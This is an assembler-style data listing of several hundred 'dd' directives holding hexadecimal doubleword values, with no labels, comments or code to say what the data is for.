dd 3F1C984Dh, 682A096Ah, 4522FE7h, 848D02D0h, 2FFF7F45h
dd 3129D6C5h, 130ED3Dh, 0B8201A04h, 88C03F02h, 8124FFB6h
dd 2253852Ah, 0CB88B442h, 20443CB6h, 0FE410904h, 327D24CEh
dd 0CCFF2A92h, 29B2CD6h, 3C99358Eh, 40564A38h, 60CE4FE1h
dd 824888B0h, 0BDE6DA14h, 0D354C84Fh, 16DD22F7h, 210DACBFh
dd 89E340E3h, 4A685792h, 4A18CAAAh, 0BBF6286h, 407E0B24h
dd 6C988D9Ah, 2446B5D8h, 0CCA0EB48h, 2DBE8B25h, 292547D8h
dd 8591513Ah, 0D8333437h, 914B0C11h, 0EE5826h, 0A450FC68h
dd 28F929EBh, 665C1113h, 811FEA77h, 72BB4080h, 0EE6810C6h
dd 9217D3CAh, 8C714510h, 22882505h, 0C43BB874h, 7CC73B40h
dd 0A51B80E5h, 2127D358h, 0BE05590Eh, 0B5211C52h, 818D7650h
dd 0CE84316Ah, 0C8C02E29h, 540F2097h, 50185122h, 50D0D1EBh
dd 0E3F02807h, 91DC30A3h, 10BE4707h, 90C42F7Ch, 5A4E33F1h
dd 127D1933h, 15175665h, 0F8AC36C4h, 0C4345E88h, 98D8A135h
dd 8530895Dh, 2968299Ch, 5C57A00Eh, 206FA4D3h, 0F1F27B3h
dd 5B6445BEh, 8B04C040h, 1CE79935h, 71FA2C6Ah, 26F5BDC4h
dd 744B5D6h, 0D4C1E904h, 0EC0BC2F9h, 640BB21h, 193ED9C2h
dd 5853A9C0h, 24DCD729h, 0F853689Ch, 0B13A2B50h, 284BC674h
dd 13A06886h, 2B4C58CAh, 940B9BD1h, 2DAFB2F2h, 303A59BCh
dd 8A944ED1h, 0CB27558Bh, 22B88237h, 367E1B5Ah, 223B7B4Fh
dd 6A243D30h, 88C95570h, 2A902BE8h, 44C894C4h, 98310A5Eh
dd 89120897h, 94B53C68h, 3BA23114h, 2E414F10h, 862226FCh
dd 226D3C29h, 10FC35ADh, 20E6966h, 0E2CAEE8Eh, 0DC8DD81Dh
dd 7A08980Fh, 49587FEBh, 0AC996A7Ch, 8AA6084Dh, 0DD88D2BAh
dd 0D3D86284h, 89268E10h, 45A80C90h, 2EA5EEDBh, 24843278h
dd 0E0533760h, 14B3BB8Ah, 8B0CF850h, 688863A8h, 6B94B92Ch
dd 4B826578h, 2F164B7Ch, 7AF07B84h, 81FA406Eh, 8415C450h
dd 950FC01Ch, 125357EEh, 8C085850h, 5B84FFA2h, 7DFBC1E8h
dd 25A2D8F8h, 0F473A594h, 0A8E2912Dh, 0D86D845Fh, 64A6AA2h
dd 38EAA562h, 0FE4083F0h, 0CA08975h, 0F5689E8h, 8B268A22h
dd 6495D1Dh, 0EA1989D8h, 0C7494D70h, 3BD3FF18h, 57267174h
dd 0FC214DBFh, 8540F790h, 45859856h, 50DC04ECh, 0E07574ECh
dd 6816944Ah, 6A448A2Dh, 1229ED29h, 0B011DE25h, 8B1F0F1Ah
dd 0A328545Dh, 0E24C4853h, 19EC607Ch, 7430E883h, 44480E2Dh
dd 6B9A6CCAh, 244EEB46h, 302B36C5h, 0C3B88921h, 0E9227514h
dd 24395334h, 67226225h, 289ED41Eh, 0FC24F82Fh, 24B8A353h
dd 14384583h, 2D7F3B74h, 0B87D91E8h, 1C59322Ah, 1FF80825h
dd 0B619A670h, 5F811268h, 0BFA92514h, 0AC10F0ABh, 73409080h
dd 3B0495FFh, 52A38D40h, 0F87C8D9Ah, 0C70F7A21h, 0CB6C4C84h
dd 8A85A787h, 30C041Eh, 0D024B48Dh, 21592B29h, 7209BD9Bh
dd 41D8623Ch, 0F70A0CBCh, 75DB85C0h, 1A8CBE04h, 0F976B503h
dd 46FA5451h, 0D2BE5CFCh, 7D8DE860h, 0A291B9F4h, 0BE02A518h
dd 0BD10A038h, 3FADBCACh, 93CA663Fh, 27DCB2C6h, 88A042CEh
dd 1DC5D4B1h, 0DC858945h
dd 13F16FA9h, 0C56DDD1Eh, 0E7DC1730h, 6A5012C4h, 522078E5h
dd 13869C57h, 1B8D5064h, 0FC902296h, 0B92B7310h, 10F415AAh
dd 8B8563C8h, 0F250C75h, 468948C0h, 84B83514h, 1FB612D1h
dd 47E0C08h, 1C811006h, 0A73C5825h, 0C3BB0582h, 4774F3A7h
dd 0A75733Bh, 5657C072h, 9741B18h, 0DE6AA726h, 0B302EB8Eh
dd 0E309DF3Dh, 0DD42E20Eh, 29F334B4h, 2CD904E2h, 0E3AC59E4h
dd 0D721E285h, 33E2E7A1h, 56E4B1F6h, 88E29DC6h, 81F12A91h
dd 0C7E921A7h, 38F3650Bh, 1D24A436h, 942D2DB9h, 75095DE4h
dd 71405FE2h, 4B8866Bh, 0E8344C30h, 0BA096B1Dh, 0BEC2E868h
dd 0DFFFDAA7h, 0C1E85D69h, 4E79C26Fh, 0A4CF273Dh, 0E84210ECh
dd 0FFD41AB4h, 0C885C3B2h, 80020866h, 5420BB53h, 306A3255h
dd 0B959DF4Dh, 64223109h, 0E02C2260h, 41C29040h, 6A420921h
dd 0E0D3EF44h, 477C0E23h, 0D3D7B730h, 0D18B3EEBh, 468D3DD0h
dd 0F076017Ch, 23414F21h, 35844181h, 0CC42522Ch, 3E741581h
dd 8BB07430h, 0FD99C62Ch, 0D8386327h, 75750CFAh, 0CCBD35B2h
dd 12B409ADh, 356C646h, 7D26509h, 9751230h, 6804046Ah
dd 59425634h, 0BA163013h, 78542054h, 0BB3D98Ah, 6C9EFFCh
dd 4E2F2D03h, 2D5FE523h, 65266A33h, 0CC2831F3h, 4C561354h
dd 55DF2495h, 506C104Ch, 8B3840F3h, 8370BEE1h, 683C6A71h
dd 0AE4F40E0h, 0EFFC213Dh, 830A1E11h, 5E83CC7h, 2C552068h
dd 0C8A0717h, 0B3032BEh, 0D1C22B99h, 0B260D308h, 8429640Ch
dd 0B5A004A7h, 30440A8Dh, 0B20A89F4h, 0F5160C20h, 0BD857C0Ch
dd 6F802143h, 5BB0C850h, 16B432D4h, 85CC0CF5h, 881143BDh
dd 770B9DF1h, 0E090801h, 0E661E889h, 5CDC9882h, 533F5D56h
dd 1C1FFA1Ah, 0E2CA1BB2h, 0F4200084h, 4CBBC4F7h, 6238890Fh
dd 6E5F5BC3h, 8813F850h, 818027CDh, 0BBA870BDh, 86F72620h
dd 134E850Fh, 24298BB7h, 0DDF10C9Ah, 597E092Bh, 470AF471h
dd 0C171702h, 680994F6h, 5E10564Ch, 56B61F14h, 1620DB65h
dd 0B7806853h, 37C7EE13h, 7813AD01h, 781512C4h, 0FC8934ACh
dd 7B337D43h, 0E47BA575h, 0CBF9E946h, 1C026A31h, 0B935F5DAh
dd 4ED34671h, 0DB9F2564h, 0FD05104Eh, 0C7A6C888h, 74F88A30h
dd 0A0BF1862h, 0E8577286h, 8BB67054h, 0AFA3F078h, 781F0DD1h
dd 580ED358h, 0C127AABFh, 0FD005096h, 1868486Ah, 0C62FBC51h
dd 8019FD74h, 18F2027Eh, 3AEC449Bh, 6F02832h, 701AA4F8h
dd 215F4C53h, 9BDAD586h, 590B992Dh, 6C1DA4C6h, 0E912AF51h
dd 0A09EA54Eh, 188956B6h, 0B7571668h, 5BA05686h, 339A76CAh
dd 9BD204FAh, 62833292h, 8532821Eh, 0E9E4A226h, 544E4610h
dd 2FE8DF0Ch, 0EDE8F4EEh, 0FE638359h, 84F8843Bh, 29553714h
dd 911A6D6Fh, 4B4BDF32h, 0A222DC76h, 585E1E2Fh, 354BD0EFh
dd 0A439A869h, 0C2DC1FCh, 539550C5h, 0CB563FA7h, 0C42A8F2Ah
dd 43E6D58Dh, 0B407F3CBh, 440525F8h, 0AC78EBAEh, 0E6C56B7Bh
dd 0A8C4FE30h, 903757Dh, 5359EB56h, 2F103D3Bh, 74C2C5A4h
dd 50E4BEE9h, 2CE1C0D4h, 6EA544ECh, 0D6534A1Bh, 28859E9Eh
dd 0EBFE5920h, 9A281857h, 111D012Bh, 0E216FE8h, 3315282Ah
dd 79EBC005h, 11385EE8h, 216FD7F6h, 0A57B0515h, 132768D8h
dd 94887368h, 8046E415h, 0DE7C0632h, 3943EB0Ah, 7541DB9Dh
dd 2D49531Dh, 44E1412Dh, 85A804F5h, 0DC134946h, 59449C79h
dd 6B5C429Ch, 350331E9h, 0B10BB80h, 0E80A076Ch, 898D0848h
dd 0E44A8CA3h, 0A0922251h, 0F0C8A3B3h, 791CA488h, 7B580DF0h
dd 0A16628F4h, 0F9B2B538h, 0F2E4A354h, 0D882E0E9h, 7F50FB83h
dd 0FB22E34Fh, 8B5324F0h, 0CD2C6470h, 60C8A0ACh, 34265359h
dd 56A0884Ah, 28D548E3h, 4A596940h, 50ABD0BFh, 604ABC68h
dd 0FE52025Dh, 0FE85F91h, 188C0328h, 0A068354Dh, 0FC082CFDh
dd 284EB768h, 11208AD3h, 2A10491Ch, 235D7744h, 53116062h
dd 4489E623h, 1972BB59h, 100CA444h, 0F9191087h, 1EBD222Ah
dd 0BBD21512h, 0A392E7C9h, 42B488B9h, 91372350h, 1AB1C4C4h
dd 0BB56DB62h, 9C88224Fh, 0AF267445h, 79FC4687h, 0E810BA5Bh
dd 58424C88h, 1B59105Bh, 70C44084h, 0FC272247h, 0DA7C8819h
dd 951B3A10h, 4AA4BDB3h, 478932AFh, 90BD5922h, 4019CA7Bh
dd 0A75230C4h, 624F88BDh, 22991AF7h, 0BDA9140Eh, 0D51879E2h
dd 8C11841Ah, 54C743B1h, 0E454A8C5h, 59AD8958h, 0C8DB20DEh
dd 54FD6A8Ah, 0F3C59BCh, 0E01A2711h, 835F9880h, 0DFEC9031h
dd 6608EB20h, 4AA0BE88h, 7B01D157h, 43300C21h, 1A4D12EBh
dd 5425ACB3h, 3A89BF65h, 6AD2591Ah, 0E88830B5h, 0B3951A29h
dd 3B219DC1h, 120CEE64h, 0C1CB1A4Ah, 7AA43C22h, 9577B746h
dd 2BE6C099h, 384CB262h, 54379D88h, 556643D3h, 73E8130Dh
dd 241DC819h, 64BEB195h, 0EC433CFEh, 2D194985h, 0C20DDBDh
dd 12F1438Ch, 0BEB61990h, 0B220A710h, 197618A8h, 8E5F9888h
dd 58230EF3h, 0C218F588h, 0FB59BD8Bh, 53C449A5h, 63C69D2Bh
dd 0BCA4D2B6h, 40BE88A8h, 0C4E5065Ch, 2A69F8BCh, 5BC0B304h
dd 0D08A0EA6h, 0AF54FA24h, 9E5C3062h, 0A5A94227h, 95AAE128h
dd 84CABB1h, 105D42F0h, 0FC8418AAh, 86B438B7h, 10189223h
dd 5E608424h, 2BA47F22h, 0E2ABAC90h, 18671894h, 8A589085h
dd 51912ED8h, 22AB844Ah, 0AA56536Dh, 972A468h, 8503D28Ch
dd 0A651C9CFh, 56882490h, 0D8215844h, 18C1095Ch, 9087EC08h
dd 1750DCD4h, 5811A4B2h, 50D2D84Ch, 98247F17h, 0E04F200Fh
dd 0BCC54884h, 857C0CF8h, 0A3B7957Ch, 0CE6554E4h, 28310C5h
dd 0ECB28C4Ah, 27A0B484h, 0C727035Bh, 25B42E57h, 0DB25B245h
dd 66A0921h, 9C6B57F9h, 0CA9F4FB4h, 0F2B45C54h, 0A9532989h
dd 2E593808h, 33727142h, 21572043h, 5311F7ACh, 0AA595789h
dd 0A22CC895h, 10279546h, 5A7884DEh, 49851F6Ch, 0F047AE50h
dd 99110D23h, 0AD675725h, 0C82A9564h, 1CFCF973h, 43C522ECh
dd 17FA1DFDh, 44EDD808h, 727331ECh, 24AD951Fh, 9E21A751h
dd 0DB85C762h, 4E86A16Dh, 1836EFA8h, 1C4AFF37h, 208F326Ah
dd 0FE12241Ch, 901252FEh, 273AC54h, 83C18BB0h, 0F2F60460h
dd 8D533DBDh, 0C60C245Ch, 0E8F10E8Eh, 0F5E81DABh, 3C908559h
dd 34C71C5Eh, 14EEE8E1h, 884CFA04h, 5C431620h, 89C38115h
dd 3E98045Eh, 9BA8C68Bh, 0A9B508C2h, 338A7C8Eh, 4DC1D972h
dd 8D828614h, 504E083Ch, 80F04215h, 2E7D74F6h, 0AC92C182h
dd 0F9C285AFh, 0C1F9D7FAh, 140C4315h, 0C603671Ah, 0E8194010h
dd 0E333F9EFh, 0A87B8918h, 8B205F33h, 0C25D1AC3h, 880F6810h
dd 99A9066Ah, 857A4007h, 6683599Bh, 0A26A74Eh, 3533A85Eh
dd 0F2469B57h, 8264DE3Dh, 0DB331B7Dh, 0F7FE440h, 8DC39D0Fh
dd 301675Ch, 579B5A6Ch, 234BBC1Ch, 53685249h, 2945C52Dh
dd 0C20E6656h, 0A75E3FBh, 882C078Ah, 0A1478D07h, 0DDC615EBh
dd 0C1478382h, 418808F8h, 2D9161Ch, 0FF032E87h, 366C9E76h
dd 32A45796h, 0F89B16DEh, 0F30AE5ABh, 0B01EF459h, 71E2CC65h
dd 1588A451h, 2DF84D8Dh, 98AA095Bh, 0F1E8A660h, 29DA6A92h
dd 0E1EDA876h, 8A40FC0Ch, 9590AD0Bh, 8F42153Ch, 6C139A10h
dd 5575D6FAh, 0C9788FCh, 130049F8h, 0CE8B5B18h, 3E93C2F5h
dd 0E4409337h, 2228962Ah, 217AAFD0h, 0A04D6AC9h, 2350A27Ch
dd 6779E87Fh, 78C77343h, 689F841h, 66717DB6h, 41A064D5h
dd 81BD442Fh, 3D1AA770h
dd 1B4E6C72h, 0C3B3FA0Ch, 4C25EC9h, 1E1A1185h, 5B23A236h
dd 0E834618Ch, 0D1939994h, 0D5C36828h, 644861E3h, 910E0242h
dd 8A0B5C6Bh, 0C4569C3h, 0B3A46048h, 572A077Fh, 0B6D36BA9h
dd 38D514B2h, 26E8B81Fh, 0A7BF9FF9h, 7D39E080h, 8F270F10h
dd 1B9FA23h, 438D185Dh, 0F8C73B08h, 1DCC1587h, 0DBD04A56h
dd 103C4BCEh, 9E5421E0h, 0DF4C10B0h, 9E4421FCh, 0CF3C50C0h
dd 673408C8h, 522C84D8h, 45DCE8A0h, 0CD7F9660h, 0FA036D93h
dd 0BE0F99E4h, 10649F23h, 0FC0F733Ch, 809BE0Eh, 56841DF3h
dd 0BBF426Ah, 0A3661218h, 886EADFh, 3373D068h, 535D88E8h
dd 7CB52149h, 0B88A6994h, 21B2B509h, 21FFFC2Bh, 646C3139h
dd 0E2A858FEh, 0FD706888h, 0AD056F44h, 0B562FE83h, 215625CDh
dd 89446A2Ah, 73119F58h, 0DD112079h, 10688D40h, 0DBD37CA1h
dd 883E5E1Dh, 73DBAC1Eh, 521C720Ch, 0EC1416FEh, 43A244FCh
dd 68635B04h, 0F86B5F8Dh, 0F88B18A2h, 541E36CCh, 0D21044D5h
dd 316FB917h, 7D2B1DC7h, 0F8713404h, 0B449738Ah, 2932CA48h
dd 0C020EC90h, 64EF1CC8h, 0B70934B4h, 0E96439E1h, 56692C4Ch
dd 613CCFFCh, 81E42650h, 0F20A04C8h, 0D49534BBh, 0AD52500Eh
dd 0DC40EA9h, 729F7492h, 0C64EA79Eh, 78FC2724h, 5A8A1FC7h
dd 0D53C1745h, 10868041h, 0D8631993h, 8328468h, 8622DC4Eh
dd 0F20251FCh, 1E94F30Dh, 0CCCD87F1h, 10CA417h, 8114572h
dd 0F047FBBCh, 318B1B87h, 86E21392h, 0D927DC2Eh, 0D064C0Ch
dd 0D9AF3C90h, 118A8E20h, 0B2596068h, 59A5CC56h, 9F608DF4h
dd 41A9DB46h, 0C8518414h, 5C688A63h, 0A11AB22Bh, 56B52BAEh
dd 0E8B04667h, 743259C5h, 50682238h, 1B765699h, 2E918523h
dd 4C440DC8h, 4B1AC234h, 22DC56B3h, 0EA2B985Ah, 2E5E81FAh
dd 192E3996h, 0F895B5Fh, 448D4BCh, 0F6C9C79Ch, 2C7EA6F2h
dd 1650250Eh, 0E9E6574Fh, 6E40A54Bh, 9C6ADDD8h, 461630D1h
dd 89EA4701h, 21F8B537h, 161BBD65h, 12FDB218h, 63F82D09h
dd 0BB2C0A45h, 0C362C44Fh, 24B57581h, 0E104EE39h, 56AFC568h
dd 33BD08AEh, 15B1016h, 0C0D1306h, 62498D56h, 752B9A91h
dd 18D43F3Ah, 5A040BB2h, 0EF8396E1h, 0FBAD74ABh, 3D34A154h
dd 40A61A23h, 0D8F7823Fh, 0B940C01Bh, 373A04C4h, 0A9A3B93Bh
dd 0BBCD415Fh, 16CFAD44h, 225A46B6h, 5772B161h, 5F884D94h
dd 2F053C0Eh, 0B4617868h, 0DA2B2ECh, 3146F800h, 21D3A868h
dd 7E0686ECh, 299EE82Fh, 5E3663B0h, 1F21DB3Bh, 28E85339h
dd 3060425h, 0A19068DFh, 7E1E91A5h, 9F856E7Bh, 300BF0ABh
dd 3675F6E4h, 481F22B5h, 32E9A084h, 7041EBDBh, 8C015EBFh
dd 0FE5BFC7Eh, 44960A8Dh, 0D271AC95h, 0A97E50A2h, 74011C2Eh
dd 22255AD2h, 1032C270h, 988501B3h, 59BC42C5h, 0BD73C38Ah
dd 209A839Ch, 0A175C56h, 0A57161B8h, 91B5EA78h, 54EE48BBh
dd 0A4597EBh, 9140206Bh, 0B6909330h, 247D8006h, 0CA3982E0h
dd 0D4E85837h, 0B6DC20ABh, 0A9F54A07h, 0E0C1E550h, 0D6039D03h
dd 0DC986DDFh, 125D480Dh, 0ADD42DAFh, 15093132h, 55DD4E8Ch
dd 0C88B4035h, 55E8241Ch, 0C0F89797h, 7CD3E359h, 53AB6A3Ah
dd 63B8867Dh, 6A226D0Bh, 2CEC2D1Ch, 8961AFE4h, 13458AF6h
dd 0C81DA528h, 0E4AEC88h, 25120644h, 3914AEBAh, 0FC828A94h
dd 0D4453980h, 9A0A7359h, 25689A69h, 0C11305A0h, 0F13667Ah
dd 74D21286h, 1EBF8C5Dh, 5721D03h, 0EB5B066Ah, 2481713h
dd 0E9E97B53h, 1159EF3h, 32450395h, 8EDC5AD8h, 9740D09Ah
dd 47558E50h, 7695078Bh, 3B280F19h, 0E416B9DFh, 0B6B11876h
dd 0D1D4CBCDh, 0F07D018Dh, 0F302E9C1h, 83CAFCA5h, 0A803E13Bh
dd 8A589CA4h, 5573732Dh, 2F9C003h, 983FE180h, 0FE8803E2h
dd 0F124CCECh, 0F80041Eh, 0C5D3C01h, 299E2BCh, 90F140CAh
dd 0F220ED2Eh, 0F460662h, 3A928D29h, 38F6F499h, 45320602h
dd 0E579A4EEh, 76EF1630h, 4501281Fh, 44BE0AB8h, 82CBEC35h
dd 6208808Ah, 16A4268h, 7E96E87Ch, 873B460Bh, 0B62A72E2h
dd 2548BB3Eh, 6AF92218h, 4BAF5C13h, 1A34D813h, 0F2524386h
dd 395EE706h, 12731B4Ch, 3DDB0A2Bh, 0E83B7067h, 0FE4E35CCh
dd 96D396F1h, 53422487h, 4E9754F1h, 1D8C826h, 0E80688CEh
dd 54536FF8h, 581FCE1Ah, 18DA288h, 80E05D47h, 0A153AD24h
dd 3DA6DA3Dh, 88F416D7h, 89386458h, 9F036A0Dh, 0CB848090h
dd 2510221Ah, 6444B968h, 938DE484h, 0FA899257h, 23384E0Fh
dd 7A161C8Eh, 80C1C6ECh, 36CD748Dh, 5A918230h, 14BBCC13h
dd 0D6FB3B26h, 123C4466h, 4158B8E8h, 75CB3B71h, 39C8F002h
dd 74185D0Dh, 51D46803h, 0D8687050h, 1E8B22Bh, 14467F94h
dd 61A399C9h, 4274C63Bh, 0D263023Bh, 0A1F33E32h, 11AC9259h
dd 2DFDE4EAh, 0C683AD53h, 850E82FEh, 0BB621F12h, 1EF2625Fh
dd 88D799BBh, 80050620h, 0E0D4E0A5h, 8A3ADEC9h, 23E131BDh
dd 2D6E8F68h, 0C22104FBh, 0F3FA631Eh, 1F0ADF21h, 0C14B670Ch
dd 9BD1F9F7h, 18576162h, 27846488h, 1E4EFC6Fh, 0F49E819h
dd 242E0560h, 46472605h, 2FC8644Fh, 62E9F1F8h, 0F7845041h
dd 0A456596Fh, 0FCAD2030h, 33EF79E5h, 0E2893F60h, 0F00E75F4h
dd 5E10FE6Eh, 69EDBB35h, 0CFB78C97h, 7D17A6ACh, 0E7CDABE6h
dd 7CA5A9DEh, 0D7766B98h, 713A7C72h, 385EF7E8h, 8B81E478h
dd 8014ACCDh, 8A407550h, 0FC35185h, 0F48BC140h, 0EE655889h
dd 960D9970h, 790CB6EBh, 5C110E26h, 1524176Dh, 0C7E8A0Dh
dd 0A9F8AEB9h, 0C2F05838h, 0D635EB1Ch, 98B665Dh, 1D0E752Bh
dd 16EBA615h, 77B218EBh, 611275C5h, 73FAAD1Ah, 0B60F0B27h
dd 0B887ECF0h, 680B0942h, 1F5B03E8h, 0F44513BBh, 2C2D91Ch
dd 0DBFA8C0Fh, 608F1FAFh, 497448C5h, 86E28335h, 1783135Eh
dd 98285C2h, 6F187C4Ch, 6597F9E0h, 0DDA08CEh, 18311121h
dd 0B77C65BCh, 5CC323EDh, 344C4CF3h, 9896906h, 832C1C68h
dd 2B57013Ch, 703B0846h, 50977B7h, 27BBBAE8h, 1DE7DE5h
dd 7E8B3576h, 31141DAh, 90FC16A0h, 1522564h, 214B4644h
dd 0F18875C5h, 0B6BFBC50h, 6C7BD064h, 18A20141h, 5C8961D5h
dd 52072480h, 54D85D61h, 0C915A8Dh, 40BD6021h, 8F78E33h
dd 1F0CE1F8h, 92CC2FB2h, 0A004AA08h, 0AD74E85Fh, 0D4C46B58h
dd 9258EEF9h, 4339F91Dh, 33B273D8h, 145BDABDh, 8416E743h
dd 0E3132BF0h, 0D73800Bh, 5E340A40h, 0C2FAF11Ah, 0CF8705D5h
dd 0BF5018C4h, 0EEDF7A61h, 0EB197A18h, 5C56907Ch, 0F01C6B76h
dd 0F170F575h, 6305DD76h, 78800180h, 2973FEFFh, 63B81C21h
dd 1B1C82F0h, 7F47893Eh, 37084B3Bh, 926ACA4Fh, 0FE24733Bh
dd 391AE240h, 385B0552h, 7A2BC062h, 31405201h, 56098D91h
dd 8880C103h, 0A8E80477h, 479F0754h, 12FDCCA6h, 17C70406h
dd 20F84CC7h, 247C3BC3h, 0FF0A27C9h, 0AC776FDh, 60F4BA40h
dd 0C23BD233h, 8A070F90h, 0CA3AFF48h, 43801872h, 3B13E0CEh
dd 182990FAh, 24FE4C75h, 506BE852h, 47AFC1DDh, 17752680h
dd 10245438h, 63237459h, 1E7EB3Ah, 5689E867h, 0ED108808h
dd 171753E1h, 0EE0C9226h, 3BFC1F18h, 187328C7h, 16E83023h
dd 3905EB75h, 730C7E12h, 5EDBD133h, 53BA551Fh, 5F848028h
dd 748C4604h, 0DABEFD1Eh, 8A481700h, 0FCC98408h, 47CA009h
dd 95EBF6FEh, 16E8EA0Eh, 4108A353h, 0A278BA09h, 1036BE46h
dd 0F1170EBAh, 56CC32E8h
dd 0B244B71Ah, 0E8049ABCh, 0C18B06B3h, 2654DBDAh, 440C4432h
dd 117742BBh, 4550BB78h, 1005ED0Ah, 5C009923h, 0C62B1424h
dd 732CC33Bh, 8503EF02h, 0B13276DBh, 0E9FF044Fh, 0C33ACE03h
dd 51A01922h, 156D90E8h, 0A7896C59h, 0CA11F32Bh, 7CE63156h
dd 2A0AC90Bh, 12D35B5Eh, 918CB8CFh, 8152E9Dh, 7D8B880Ch
dd 1FCF70C4h, 0E8316A8Dh, 0ECBDC06Ah, 13A20376h, 478D35E0h
dd 0EEF40251h, 0C1400B55h, 0E655182Ch, 0F2093484h, 22CD2B25h
dd 0B9C0833Ch, 3516491Bh, 16B85905h, 3783404Eh, 7C80648Bh
dd 3EAFD6E8h, 62177624h, 0D1AF513Ah, 0F867A250h, 0B9590295h
dd 4265105h, 8C085E8Bh, 2969E78h, 5040894Fh, 60803D8Ch
dd 834654CEh, 0FB627732h, 98E21D4Ah, 0B50B1DBAh, 9C629CB2h
dd 47F959B1h, 0F9218BE9h, 48468A22h, 3C761BE1h, 0B4B217F6h
dd 0F6995268h, 920C780Bh, 6C7C4496h, 0C376217Ah, 2405F607h
dd 10046B9h, 55800775h, 326B090Dh, 0AAA2C6FFh, 0D3910CE8h
dd 0C4F128C3h, 0F2170E2Ch, 44562DE9h, 33EC1BF0h, 0AA3E8AF6h
dd 24D43DC7h, 0E312C65h, 0DC0CE4D8h, 19AE15E3h, 2E806DEh
dd 90FC09F0h, 6626D811h, 4A83A0DAh, 0EDB484FAh, 9A185EEAh
dd 86C5DC2Eh, 0D0A99197h, 0F086D928h, 6A2B3350h, 0F9C3202h
dd 0DE31ABDAh, 0D2D414BDh, 0E2603D17h, 0BBF4122Bh, 35393ED0h
dd 0CC46138h, 941F840Fh, 4C0BB83Fh, 1CEF58B9h, 309E51FFh
dd 0B20A4236h, 0A7DEB9EEh, 3F58369h, 5A65E268h, 3862D2Fh
dd 0E62ADA6Ch, 0F14B1A6Ah, 26266974h, 0E05F5A42h, 0EAC5936h
dd 61A7D6B4h, 0A55C9003h, 0DD3DEA1Ch, 0F316963Ah, 83D70508h
dd 0F1FC04C6h, 75123E38h, 9611E889h, 5C9ACFF8h, 0C7BADD08h
dd 76E81353h, 70A2D966h, 71E8940Dh, 5D13F279h, 182974C1h
dd 2F28894h, 14212045h, 8DAAFD6Ah, 74185330h, 0A4BE3717h
dd 0DECA56E6h, 0F8623453h, 0CBE1164h, 21C6870Ch, 8B23D05Fh
dd 12C57084h, 12091FC5h, 39162204h, 0C64D4130h, 13EBEF24h
dd 0B5BD834Ch, 0E8AA5231h, 13ADD076h, 8A944EA8h, 0DB13C5C5h
dd 0D48431EDh, 5FAB21FDh, 8AF5900Eh, 0A496A02h, 5B1240D4h
dd 9901BF22h, 457CC610h, 9DA8A4Eh, 74C824B4h, 4468648Dh
dd 0A2380599h, 8DBCBDD2h, 68E4CC88h, 313D892Dh, 0A7E1DBEBh
dd 1FBDD744h, 227087Dh, 674411DCh, 87C2F842h, 527FAC64h
dd 4EA5C5D4h, 28B783ECh, 0BD068CD0h, 9FE5CBCh, 648588Dh
dd 8BD888Fh, 54516955h, 48B35397h, 0BFCC3A64h, 48E08524h
dd 65F79E0Eh, 1D2CA2DCh, 9D0E06EBh, 6A3F10C0h, 764F3248h
dd 8B004842h, 0F1874F8h, 9C0A46BFh, 220C16BEh, 918BF466h
dd 76544B0Bh, 85AA0364h, 0A7091FEh, 53D57566h, 8256F063h
dd 98680A8Bh, 0E046DC05h, 0F22FC981h, 86F46929h, 6112C95Ah
dd 1A393521h, 0DF05975h, 3C465725h, 4D2DCF9Ch, 18FD47EEh
dd 0B8195D72h, 0FDDC7E32h, 0A05D4C0Bh, 5F96EBE8h, 11D09AB1h
dd 29F45F52h, 6C78E874h, 9D4EB70Ah, 0B9DB330Bh, 0C26CFCA9h
dd 4306F924h, 988916D8h, 85C691A0h, 2B0C7594h, 96166512h
dd 0DC5D5B91h, 0BD12E57Dh, 765FE2C8h, 0A891FB41h, 925725B4h
dd 7784075Bh, 627D28F8h, 4710BFAh, 0EB12E50Fh, 0A38922EFh
dd 572D2B64h, 0C4899453h, 0B8DC45C8h, 0FE066948h, 8956424Dh
dd 661C13FDh, 0CED82E33h, 4667E09h, 69857080h, 0BC0821BCh
dd 41472A39h, 0B0096BC8h, 404616CCh, 669DC8CAh, 28C04527h
dd 8B070262h, 0C40BE9C3h, 290A6454h, 9D8945C4h, 37EAA324h
dd 0CCB5C238h, 35DAF92h, 0DD8D419Eh, 0F459170Eh, 41E3D0BBh
dd 0CDF04D7h, 5002570Ah, 6ABF929Fh, 78397518h, 0BF233EB9h
dd 8EE0BFCh, 6926C77Ch, 0A6E75464h, 0BB976C77h, 0F0F5984h
dd 0ACC8D054h, 492208ADh, 0F420D94Ah, 56D6B54Bh, 3B674480h
dd 75F47D0Bh, 0D840C26Ch, 32104A5Fh, 1A7FCC8Dh, 0C8F125CEh
dd 223E6962h, 9890958Bh, 3B01C933h, 390E76D6h, 0B0498D84h
dd 0F041DE43h, 0C0F272CAh, 83127508h, 731440FAh, 9C17890Dh
dd 282A8594h, 7E4BAD3Bh, 5B1B87h, 0CC6815D1h, 4E0B169h
dd 0FDF6E9D3h, 41A64659h, 0CB9D3F9Fh, 487F8A00h, 5D8D558Bh
dd 4CE3BE8h, 0BC393076h, 401C3185h, 0EB00C1F9h, 8C198B20h
dd 8921D085h, 2A17A8DEh, 3F494043h, 0C55E639h, 0E91A3427h
dd 0BE24BB99h, 9DFA51FCh, 680A6AE9h, 0E8097EC4h, 8441505Eh
dd 0BC682A18h, 16365811h, 0E1A518C9h, 16A4020Dh, 0E923A468h
dd 25884640h, 11919C21h, 61F4A25Ah, 84681449h, 10871C08h
dd 10EDCE7Ch, 6C6832E7h, 8502F810h, 0C9C86490h, 84711079h
dd 1CD42402h, 0A5214C43h, 2C681EE1h, 1087B008h, 5381C824h
dd 68EB61FDh, 6A175220h, 13103B96h, 0E19E0C68h, 880A4651h
dd 6C2F6408h, 3A12E5F4h, 84EC721Ch, 37890B42h, 7DBEBE87h
dd 0DC9F2427h, 5027FE42h, 6616215Bh, 0C1C6F809h, 10595948h
dd 0D3C44B2Ah, 97407D42h, 157EFE9h, 9EB8214Eh, 246F8BDh
dd 0BE056A2Ah, 0FF3C30A0h, 50665184h, 0A44BDCEFh, 684FA808h
dd 0AFEB0A0Fh, 32986441h, 0D10F397Ch, 5C85C2B6h, 4132EA30h
dd 0DC19D508h, 668D2AE0h, 993E8E1h, 700428ECh, 2A5A39A9h
dd 0DF28EB10h, 252D861Ch, 3E36F8EDh, 0C10F8ADEh, 204932C5h
dd 4E763634h, 429BB2FBh, 0F8126310h, 44478D68h, 0DE0BFAE5h
dd 2308648Dh, 0ED533A10h, 7A474AD2h, 54EF289Fh, 86B2335Ch
dd 3F602448h, 1C3CA11Dh, 346421DAh, 4AFEAB31h, 0C9A022D1h
dd 9C0D2850h, 0D3D92031h, 388FEFDBh, 3045D942h, 3490018Bh
